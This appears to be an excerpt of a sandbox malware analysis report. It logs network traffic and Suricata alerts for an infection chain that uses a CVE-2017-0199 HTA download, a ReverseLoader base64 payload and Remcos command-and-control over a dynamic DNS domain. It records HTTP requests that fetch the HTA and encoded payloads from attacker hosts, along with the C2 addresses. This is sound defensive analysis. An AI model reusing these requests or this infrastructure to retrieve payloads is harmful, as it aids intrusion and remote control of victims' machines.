                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49166
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49166 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 152.231.117.86:443 -> 192.168.2.22:49167
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49169
                Source: global trafficTCP traffic: 192.168.2.22:49169 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80
                Source: global trafficTCP traffic: 172.232.175.166:80 -> 192.168.2.22:49168
                Source: global trafficTCP traffic: 192.168.2.22:49168 -> 172.232.175.166:80

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49168 -> 172.232.175.166:80
                Source: Network trafficSuricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 172.232.175.166:80 -> 192.168.2.22:49164
                Source: Network trafficSuricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 172.232.175.166:80 -> 192.168.2.22:49166
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49176 -> 31.13.224.72:2431
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49177 -> 31.13.224.72:2431
                Source: Network trafficSuricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 172.232.175.166:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 172.232.175.166:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 172.232.175.166:80 -> 192.168.2.22:49178
                Source: Network trafficSuricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 172.232.175.166:80 -> 192.168.2.22:49178
                Source: Network trafficSuricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 172.232.175.166:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 172.232.175.166:80 -> 192.168.2.22:49178
                Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 172.232.175.166:80 -> 192.168.2.22:49175
                Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 172.232.175.166:80 -> 192.168.2.22:49178
                Source: Network trafficSuricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 193.30.119.112:443 -> 192.168.2.22:49173
                Source: Network trafficSuricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 193.30.119.112:443 -> 192.168.2.22:49174
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: newbeggin.duckdns.org
                Uses dynamic DNS services
                Source: unknownDNS query: name: newbeggin.duckdns.org
                Source: global trafficTCP traffic: 192.168.2.22:49176 -> 31.13.224.72:2431
                Source: global trafficHTTP traffic detected: GET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1Host: 3012.filemail.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432 HTTP/1.1Host: 3012.filemail.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/RGFVVGF.txt HTTP/1.1Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/RGFVVGF.txt HTTP/1.1Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                Source: Joe Sandbox ViewASN Name: AKAMAI-ASN1EU AKAMAI-ASN1EU
                Source: Joe Sandbox ViewASN Name: SARNICA-ASBG SARNICA-ASBG
                Source: Joe Sandbox ViewJA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
                Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 172.232.175.166:80
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49172 -> 172.232.175.166:80
                Source: Network trafficSuricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 172.232.175.166:80
                Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.22:49179 -> 178.237.33.50:80
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ljg.clConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 172.232.175.166If-Range: "26e08-627f297054196"
                Source: global trafficHTTP traffic detected: GET /809/createdbestthignswihtentiretimegivenmebestforever.tIF HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.232.175.166Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /809/ce/createdgoodthingsfor.hta HTTP/1.1Accept: */*Accept-Language: fr-FRUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Thu, 28 Nov 2024 05:45:29 GMTConnection: Keep-AliveHost: 172.232.175.166If-None-Match: "26e08-627f297054196"
                Source: unknownHTTPS traffic detected: 193.30.119.112:443 -> 192.168.2.22:49173 version: TLS 1.0
                Source: unknownHTTPS traffic detected: 193.30.119.112:443 -> 192.168.2.22:49174 version: TLS 1.0
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
                Source: unknownTCP traffic detected without corresponding DNS query: 172.232.175.166
